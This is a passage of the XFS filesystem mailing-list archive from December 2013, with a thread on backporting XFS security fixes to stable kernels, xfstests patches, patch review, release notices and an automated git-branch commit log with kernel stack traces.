91.189.89.112 Received: from [188.250.212.249] (helo=localhost) by youngberry.canonical.com with esmtpsa (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16) (Exim 4.71) (envelope-from ) id 1VsvAc-0007PE-3y; Tue, 17 Dec 2013 13:58:46 +0000 Date: Tue, 17 Dec 2013 13:58:44 +0000 From: Luis Henriques To: Greg KH Cc: Dave Chinner , Josh Boyer , Kees Cook , Dwight Engen , LKML , Brian Foster , Dave Chinner , Gao feng , Ben Myers , xfs@oss.sgi.com, stable@vger.kernel.org Subject: Re: XFS security fix never sent to -stable? Message-ID: <20131217135844.GD5044@hercules> X-ASG-Orig-Subj: Re: XFS security fix never sent to -stable? References: <20131209121534.GE4278@hercules> <20131209235523.GW31386@dastard> <20131210075621.GA30135@kroah.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131210075621.GA30135@kroah.com> X-Barracuda-Connect: youngberry.canonical.com[91.189.89.112] X-Barracuda-Start-Time: 1387288737 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143170 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 11:56:21PM -0800, Greg Kroah-Hartman wrote: > On Tue, Dec 10, 2013 at 10:55:23AM +1100, Dave Chinner wrote: > > [cc xfs list, cc stable@vger.kernel.org] > > > > On Mon, Dec 09, 2013 at 08:17:09AM -0500, Josh Boyer wrote: > > > On Mon, Dec 9, 2013 at 7:15 AM, Luis Henriques > > > wrote: > > > > On Thu, Dec 05, 2013 at 04:35:50PM -0800, Kees Cook wrote: > > > >> Hi, > > > >> > > > >> It looks like 8c567a7fab6e086a0284eee2db82348521e7120c ("xfs: add > > > >> capability check to free eofblocks ioctl") is a security fix that was > > > >> never sent to -stable? From what I can see, it was introduced in 3.8 > > > >> by 8ca149de80478441352a8622ea15fae7de703ced ("xfs: add > > > >> XFS_IOC_FREE_EOFBLOCKS ioctl"). > > > >> > > > >> I don't see this in the 3.8.y tree. Should it be added there and newer? > > > > > > > > Thanks Kees, I'm queuing it for the 3.11 kernel. > > > > > > There's also this one: > > > > > > http://thread.gmane.org/gmane.comp.file-systems.xfs.general/57654 > > > > > > It fixes CVE-2013-6382 > > > > First I've heard about it there being a CVE for that bug. Since when > > has it been considered best practice to publish CVEs without first > > (or ever) directly contacting the relevant upstream developers? > > > > But, regardless of how broken I think the CVE process is, commit > > 071c529 ("xfs: underflow bug in xfs_attrlist_by_handle()") should be > > picked up by the stable kernels. > > I don't see that commit in Linus's tree, is it not there yet? This commit is now in Linus's: 31978b5 xfs: underflow bug in xfs_attrlist_by_handle() Cheers, -- Luis From lczerner@redhat.com Tue Dec 17 08:02:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 053F67F3F for ; Tue, 17 Dec 2013 08:02:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E98CE8F8049 for ; Tue, 17 Dec 2013 06:02:38 -0800 (PST) X-ASG-Debug-ID: 1387288958-04cbb041667d0550001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QbF7vwHZF4IpZ08q for ; Tue, 17 Dec 2013 06:02:38 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBHE2bMw012749 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Dec 2013 09:02:37 -0500 Received: from localhost.localdomain.com (dhcp-1-115.brq.redhat.com [10.34.1.115]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBHE2YSH013780; Tue, 17 Dec 2013 09:02:36 -0500 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 3/3] xfstests 321, 322: do not remove lost+found Date: Tue, 17 Dec 2013 15:02:27 +0100 X-ASG-Orig-Subj: [PATCH 3/3] xfstests 321, 322: do not remove lost+found Message-Id: <1387288947-12650-3-git-send-email-lczerner@redhat.com> In-Reply-To: <1387288947-12650-1-git-send-email-lczerner@redhat.com> References: <1387288947-12650-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1387288958 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- tests/generic/321 | 2 +- tests/generic/322 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/generic/321 b/tests/generic/321 index 1d17147..345416c 100644 --- a/tests/generic/321 +++ b/tests/generic/321 @@ -51,7 +51,7 @@ rm -f $seqres.full _clean_working_dir() { _mount_flakey - rm -rf $SCRATCH_MNT/* + rm -rf $SCRATCH_MNT/foo $SCRATCH_MNT/bar _unmount_flakey } diff --git a/tests/generic/322 b/tests/generic/322 index 94f8f68..c43fcb1 100644 --- a/tests/generic/322 +++ b/tests/generic/322 @@ -51,7 +51,7 @@ rm -f $seqres.full _clean_working_dir() { _mount_flakey - rm -rf $SCRATCH_MNT/* + rm -rf $SCRATCH_MNT/foo $SCRATCH_MNT/bar _unmount_flakey } -- 1.8.3.1 From lczerner@redhat.com Tue Dec 17 08:02:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C9A3E29E09 for ; Tue, 17 Dec 2013 08:02:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AB2DC8F8049 for ; Tue, 17 Dec 2013 06:02:38 -0800 (PST) X-ASG-Debug-ID: 1387288956-04cbb041677d0540001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wnvk1DkON0hJn6Yu for ; Tue, 17 Dec 2013 06:02:36 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBHE2Zwr000954 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Dec 2013 09:02:35 -0500 Received: from localhost.localdomain.com (dhcp-1-115.brq.redhat.com [10.34.1.115]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBHE2YSF013780; Tue, 17 Dec 2013 09:02:34 -0500 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 1/3] common: Filter out lost+found directory from _ls_l() output Date: Tue, 17 Dec 2013 15:02:25 +0100 X-ASG-Orig-Subj: [PATCH 1/3] common: Filter out lost+found directory from _ls_l() output Message-Id: <1387288947-12650-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1387288956 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- common/rc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/common/rc b/common/rc index 5f61d57..7a168e9 100644 --- a/common/rc +++ b/common/rc @@ -74,10 +74,11 @@ _md5_checksum() # ls -l w/ selinux sometimes puts a dot at the end: # -rwxrw-r--. id1 id2 file1 +# Also filter out lost+found directory on extN file system if present _ls_l() { - ls -l $* | sed "s/\(^[-rwxdlbcpsStT]*\)\. /\1 /" + ls -l $* | sed "s/\(^[-rwxdlbcpsStT]*\)\. /\1 /" | grep -v 'lost+found' } _mount_opts() -- 1.8.3.1 From lczerner@redhat.com Tue Dec 17 08:02:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E1B5829E0A for ; Tue, 17 Dec 2013 08:02:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D22B4304066 for ; Tue, 17 Dec 2013 06:02:38 -0800 (PST) X-ASG-Debug-ID: 1387288956-04cb6c537c7d85f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GZXyZC1HFUjKWUdB for ; Tue, 17 Dec 2013 06:02:37 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id rBHE2aur018431 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 17 Dec 2013 09:02:36 -0500 Received: from localhost.localdomain.com (dhcp-1-115.brq.redhat.com [10.34.1.115]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id rBHE2YSG013780; Tue, 17 Dec 2013 09:02:35 -0500 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 2/3] xfstests 322: use _filter_scratch() Date: Tue, 17 Dec 2013 15:02:26 +0100 X-ASG-Orig-Subj: [PATCH 2/3] xfstests 322: use _filter_scratch() Message-Id: <1387288947-12650-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1387288947-12650-1-git-send-email-lczerner@redhat.com> References: <1387288947-12650-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1387288956 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Signed-off-by: Lukas Czerner --- tests/generic/322 | 8 ++++---- tests/generic/322.out | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/generic/322 b/tests/generic/322 index 1cea133..94f8f68 100644 --- a/tests/generic/322 +++ b/tests/generic/322 @@ -65,12 +65,12 @@ _rename_test() mv $SCRATCH_MNT/foo $SCRATCH_MNT/bar $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar _load_flakey_table $FLAKEY_DROP_WRITES - md5sum $SCRATCH_MNT/bar + md5sum $SCRATCH_MNT/bar | _filter_scratch _unmount_flakey _load_flakey_table $FLAKEY_ALLOW_WRITES _mount_flakey - md5sum $SCRATCH_MNT/bar + md5sum $SCRATCH_MNT/bar | _filter_scratch _unmount_flakey _check_scratch_fs $FLAKEY_DEV [ $? -ne 0 ] && _fatal "fsck failed" @@ -87,12 +87,12 @@ _write_after_fsync_rename_test() mv $SCRATCH_MNT/foo $SCRATCH_MNT/bar $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/bar _load_flakey_table $FLAKEY_DROP_WRITES - md5sum $SCRATCH_MNT/bar + md5sum $SCRATCH_MNT/bar | _filter_scratch _unmount_flakey _load_flakey_table $FLAKEY_ALLOW_WRITES _mount_flakey - md5sum $SCRATCH_MNT/bar + md5sum $SCRATCH_MNT/bar | _filter_scratch _unmount_flakey _check_scratch_fs $FLAKEY_DEV [ $? -ne 0 ] && _fatal "fsck failed" diff --git a/tests/generic/322.out b/tests/generic/322.out index 0d9f274..a23f890 100644 --- a/tests/generic/322.out +++ b/tests/generic/322.out @@ -1,7 +1,7 @@ QA output created by 322 fsync rename test -ca539970d4b1fa1f34213ba675007381 /mnt/scratch/bar -ca539970d4b1fa1f34213ba675007381 /mnt/scratch/bar +ca539970d4b1fa1f34213ba675007381 SCRATCH_MNT/bar +ca539970d4b1fa1f34213ba675007381 SCRATCH_MNT/bar fsync rename test -d34ff04c17ef7068d78d0c4be49cfe57 /mnt/scratch/bar -d34ff04c17ef7068d78d0c4be49cfe57 /mnt/scratch/bar +d34ff04c17ef7068d78d0c4be49cfe57 SCRATCH_MNT/bar +d34ff04c17ef7068d78d0c4be49cfe57 SCRATCH_MNT/bar -- 1.8.3.1 From bpm@sgi.com Tue Dec 17 08:59:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AF2EA7F3F for ; Tue, 17 Dec 2013 08:59:22 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 897E6304064; Tue, 17 Dec 2013 06:59:22 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 247DC4266DC; Tue, 17 Dec 2013 08:59:22 -0600 (CST) Date: Tue, 17 Dec 2013 08:59:22 -0600 From: Ben Myers To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 4/6] xfs: swalloc doesn't align allocations properly Message-ID: <20131217145922.GS1935@sgi.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-5-git-send-email-david@fromorbit.com> <20131213120123.GA32749@infradead.org> <20131216231414.GQ1935@sgi.com> <20131217033941.GC31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131217033941.GC31386@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Dec 17, 2013 at 02:39:41PM +1100, Dave Chinner wrote: > On Mon, Dec 16, 2013 at 05:14:14PM -0600, Ben Myers wrote: > > On Fri, Dec 13, 2013 at 04:01:23AM -0800, Christoph Hellwig wrote: > > > Looks good. > > > > > > Reviewed-by: Christoph Hellwig > > > > > > Two very minor nitpicks below: > > > > > > > + int stripe_align; > > > > > > > > ASSERT(ap->length); > > > > > > > > mp = ap->ip->i_mount; > > > > + > > > > + /* stripe alignment for allocation is determined by mount parameters */ > > > > + stripe_align = 0; > > > > + if (mp->m_swidth && (mp->m_flags & XFS_MOUNT_SWALLOC)) > > > > + stripe_align = mp->m_swidth; > > > > + else if (mp->m_dalign) > > > > + stripe_align = mp->m_dalign; > > > > > > nipick: I'd either initialize the variable to zero at the point of the > > > declaration or do if .. else if .. else here. > > > > > > > } > > > > + > > > > + > > > > nullfb = *ap->firstblock == NULLFSBLOCK; > > > > > > Two newlines seem odd here. I'd support one even if that's an unrelated > > > change :) > > > > This is probably not the right thing to do for small files. They will all end > > up in the first stripe unit. > > You're right, it's not the right thing to do for small files. And we > don't, because the ap->aeof that triggers aligned allocation only > when: > > /* > * Only want to do the alignment at the eof if it is userdata and > * allocation length is larger than a stripe unit. > */ > if (mp->m_dalign && bma->length >= mp->m_dalign && > !(bma->flags & XFS_BMAPI_METADATA) && whichfork == XFS_DATA_FORK) { > error = xfs_bmap_isaeof(bma, whichfork); > if (error) > return error; > } > > The requested allocation length is greater than the stripe unit that > is configured. > > So, we never align small files, regardless of the mount option.... That addresses my concerns, thanks. ;) Reviewed-by: Ben Myers From rjohnston@sgi.com Tue Dec 17 09:31:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A08B7F3F for ; Tue, 17 Dec 2013 09:31:31 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay3.corp.sgi.com (Postfix) with ESMTP id AB30AAC003 for ; Tue, 17 Dec 2013 07:31:30 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 09:31:30 -0600 Message-ID: <52B06E51.1020504@sgi.com> Date: Tue, 17 Dec 2013 09:31:29 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [RFC] Userspace and xfstests releases Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] I was planning on a xfsdump and xfstests release this week before I go on vacation. Any objections? Release versions for xfsprogs are still being discussed. Are there any more comments on this subject? Thanks --Rich From rjohnston@sgi.com Tue Dec 17 09:31:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0AC6029DFE for ; Tue, 17 Dec 2013 09:31:56 -0600 (CST) Received: from xmail.sgi.com (pv-excas1-dc21.corp.sgi.com [137.38.106.7]) by relay1.corp.sgi.com (Postfix) with ESMTP id E2E5B8F8087 for ; Tue, 17 Dec 2013 07:31:52 -0800 (PST) Received: from [134.15.69.88] (134.15.69.88) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 17 Dec 2013 09:31:52 -0600 Message-ID: <52B06E67.4090105@sgi.com> Date: Tue, 17 Dec 2013 09:31:51 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: Out for a while. Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.69.88] I apologize for not informing you last time I went on vacation over Thanksgiving. I will be gone from Dec 21 - Jan 3. Thanks --Rich From bpm@oss.sgi.com Tue Dec 17 09:53:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id F1E6729DF8; Tue, 17 Dec 2013 09:53:08 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-for-linus-v3.13-rc5, created. xfs-for-linus-v3.13-rc4-9-gac8809f X-Git-Refname: refs/heads/xfs-for-linus-v3.13-rc5 X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: ac8809f9ab01a73de1a47b5a37bd8dcca8712fb3 Message-Id: <20131217155308.F1E6729DF8@oss.sgi.com> Date: Tue, 17 Dec 2013 09:53:08 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-for-linus-v3.13-rc5 has been created at ac8809f9ab01a73de1a47b5a37bd8dcca8712fb3 (commit) - Log ----------------------------------------------------------------- commit ac8809f9ab01a73de1a47b5a37bd8dcca8712fb3 Author: Dave Chinner Date: Thu Dec 12 16:34:38 2013 +1100 xfs: abort metadata writeback on permanent errors If we are doing aysnc writeback of metadata, we can get write errors but have nobody to report them to. At the moment, we simply attempt to reissue the write from io completion in the hope that it's a transient error. When it's not a transient error, the buffer is stuck forever in this loop, and we cannot break out of it. Eventually, unmount will hang because the AIL cannot be emptied and everything goes downhill from them. To solve this problem, only retry the write IO once before aborting it. We don't throw the buffer away because some transient errors can last minutes (e.g. FC path failover) or even hours (thin provisioned devices that have run out of backing space) before they go away. Hence we really want to keep trying until we can't try any more. Because the buffer was not cleaned, however, it does not get removed from the AIL and hence the next pass across the AIL will start IO on it again. As such, we still get the "retry forever" semantics that we currently have, but we allow other access to the buffer in the mean time. Meanwhile the filesystem can continue to modify the buffer and relog it, so the IO errors won't hang the log or the filesystem. Now when we are pushing the AIL, we can see all these "permanent IO error" buffers and we can issue a warning about failures before we retry the IO. We can also catch these buffers when unmounting an issue a corruption warning, too. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 33177f05364c6cd13b06d0f3500dad07cf4647c2 Author: Dave Chinner Date: Thu Dec 12 16:34:36 2013 +1100 xfs: swalloc doesn't align allocations properly When swalloc is specified as a mount option, allocations are supposed to be aligned to the stripe width rather than the stripe unit of the underlying filesystem. However, it does not do this. What the implementation does is round up the allocation size to a stripe width, hence ensuring that all allocations span a full stripe width. It does not, however, ensure that that allocation is aligned to a stripe width, and hence the allocations can span multiple underlying stripes and so still see RMW cycles for things like direct IO on MD RAID. So, if the swalloc mount option is set, change the allocation alignment in xfs_bmap_btalloc() to use the stripe width rather than the stripe unit. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 83a0adc3f93aae4ab9c59113e3145c7bdb2b4a8c Author: Christoph Hellwig Date: Tue Dec 17 00:03:52 2013 -0800 xfs: remove xfsbdstrat error The xfsbdstrat helper is a small but useless wrapper for xfs_buf_iorequest that handles the case of a shut down filesystem. Most of the users have private, uncached buffers that can just be freed in this case, but the complex error handling in xfs_bioerror_relse messes up the case when it's called without a locked buffer. Remove xfsbdstrat and opencode the error handling in the callers. All but one can simply return an error and don't need to deal with buffer state, and the one caller that cares about the buffer state could do with a major cleanup as well, but we'll defer that to later. Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 6e708bcf6583f663da9fe7bc5292cc62f0a8410d Author: Dave Chinner Date: Fri Nov 22 10:41:16 2013 +1100 xfs: align initial file allocations correctly The function xfs_bmap_isaeof() is used to indicate that an allocation is occurring at or past the end of file, and as such should be aligned to the underlying storage geometry if possible. Commit 27a3f8f ("xfs: introduce xfs_bmap_last_extent") changed the behaviour of this function for empty files - it turned off allocation alignment for this case accidentally. Hence large initial allocations from direct IO are not getting correctly aligned to the underlying geometry, and that is cause write performance to drop in alignment sensitive configurations. Fix it by considering allocation into empty files as requiring aligned allocation again. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers (cherry picked from commit f9b395a8ef8f34d19cae2cde361e19c96e097fad) commit 809625ca544bdc9e02a5728c1939a76dc29decb1 Author: Namjae Jeon Date: Sun Dec 8 23:33:50 2013 +0900 MAINTAINERS: fix incorrect mail address of XFS maintainer When I tried to send the patches to XFS Maintainers, I got returned mail included delivery fail message for Dave's mail. Maybe, Dave Chinner mail address is incorrect. I try to fix it correctly. Signed-off-by: Namjae Jeon Reviewed-by: Ben Myers Signed-off-by: Ben Myers (cherry picked from commit db10bddc7d4f412bcd8630fc479fa1eb009e325b) commit 718cc6f88cbfc4fbd39609f28c4c86883945f90d Author: Jie Liu Date: Tue Nov 26 21:38:49 2013 +0800 xfs: fix infinite loop by detaching the group/project hints from user dquot xfs_quota(8) will hang up if trying to turn group/project quota off before the user quota is off, this could be 100% reproduced by: # mount -ouquota,gquota /dev/sda7 /xfs # mkdir /xfs/test # xfs_quota -xc 'off -g' /xfs <-- hangs up # echo w > /proc/sysrq-trigger # dmesg SysRq : Show Blocked State task PC stack pid father xfs_quota D 0000000000000000 0 27574 2551 0x00000000 [snip] Call Trace: [] schedule+0xad/0xc0 [] schedule_timeout+0x35e/0x3c0 [] ? mark_held_locks+0x176/0x1c0 [] ? call_timer_fn+0x2c0/0x2c0 [] ? xfs_qm_shrink_count+0x30/0x30 [xfs] [] schedule_timeout_uninterruptible+0x26/0x30 [] xfs_qm_dquot_walk+0x235/0x260 [xfs] [] ? xfs_perag_get+0x1d8/0x2d0 [xfs] [] ? xfs_perag_get+0x5/0x2d0 [xfs] [] ? xfs_inode_ag_iterator+0xae/0xf0 [xfs] [] ? xfs_trans_free_dqinfo+0x50/0x50 [xfs] [] ? xfs_inode_ag_iterator+0xcf/0xf0 [xfs] [] xfs_qm_dqpurge_all+0x66/0xb0 [xfs] [] xfs_qm_scall_quotaoff+0x20a/0x5f0 [xfs] [] xfs_fs_set_xstate+0x136/0x180 [xfs] [] do_quotactl+0x53a/0x6b0 [] ? iput+0x5b/0x90 [] SyS_quotactl+0x167/0x1d0 [] ? trace_hardirqs_on_thunk+0x3a/0x3f [] system_call_fastpath+0x16/0x1b It's fine if we turn user quota off at first, then turn off other kind of quotas if they are enabled since the group/project dquot refcount is decreased to zero once the user quota if off. Otherwise, those dquots refcount is non-zero due to the user dquot might refer to them as hint(s). Hence, above operation cause an infinite loop at xfs_qm_dquot_walk() while trying to purge dquot cache. This problem has been around since Linux 3.4, it was introduced by: [ b84a3a9675 xfs: remove the per-filesystem list of dquots ] Originally we will release the group dquot pointers because the user dquots maybe carrying around as a hint via xfs_qm_detach_gdquots(). However, with above change, there is no such work to be done before purging group/project dquot cache. In order to solve this problem, this patch introduces a special routine xfs_qm_dqpurge_hints(), and it would release the group/project dquot pointers the user dquots maybe carrying around as a hint, and then it will proceed to purge the user dquot cache if requested. Cc: stable@vger.kernel.org Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Ben Myers (cherry picked from commit df8052e7dae00bde6f21b40b6e3e1099770f3afc) commit 5c22727895bf61cb851835be0d30260fb36de648 Author: Jie Liu Date: Tue Nov 26 21:38:34 2013 +0800 xfs: fix assertion failure at xfs_setattr_nonsize For CRC enabled v5 super block, change a file's ownership can simply trigger an ASSERT failure at xfs_setattr_nonsize() if both group and project quota are enabled, i.e, [ 305.337609] XFS: Assertion failed: !XFS_IS_PQUOTA_ON(mp), file: fs/xfs/xfs_iops.c, line: 621 [ 305.339250] Kernel BUG at ffffffffa0a7fa32 [verbose debug info unavailable] [ 305.383939] Call Trace: [ 305.385536] [] xfs_setattr_nonsize+0x69a/0x720 [xfs] [ 305.387142] [] xfs_vn_setattr+0x29/0x70 [xfs] [ 305.388727] [] notify_change+0x1a8/0x350 [ 305.390298] [] chown_common+0xfd/0x110 [ 305.391868] [] SyS_fchownat+0xaf/0x110 [ 305.393440] [] SyS_lchown+0x20/0x30 [ 305.394995] [] system_call_fastpath+0x1a/0x1f [ 305.399870] RIP [] assfail+0x22/0x30 [xfs] This fix adjust the assertion to check if the super block support both quota inodes or not. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers (cherry picked from commit 5a01dd54f4a7fb513062070c5acef20d13cad980) commit 30d161c9aacb4b719789c30623b9eec7d1aa1d08 Author: Jie Liu Date: Tue Nov 26 21:38:54 2013 +0800 xfs: fix false assertion at xfs_qm_vop_create_dqattach After the previous fix, there still has another ASSERT failure if turning off any type of quota while fsstress is running at the same time. Backtrace in this case: [ 50.867897] XFS: Assertion failed: XFS_IS_GQUOTA_ON(mp), file: fs/xfs/xfs_qm.c, line: 2118 [ 50.867924] ------------[ cut here ]------------ ... [ 50.867957] Kernel BUG at ffffffffa0b55a32 [verbose debug info unavailable] [ 50.867999] invalid opcode: 0000 [#1] SMP [ 50.869407] Call Trace: [ 50.869446] [] xfs_qm_vop_create_dqattach+0x19a/0x2d0 [xfs] [ 50.869512] [] xfs_create+0x5c5/0x6a0 [xfs] [ 50.869564] [] xfs_vn_mknod+0xac/0x1d0 [xfs] [ 50.869615] [] 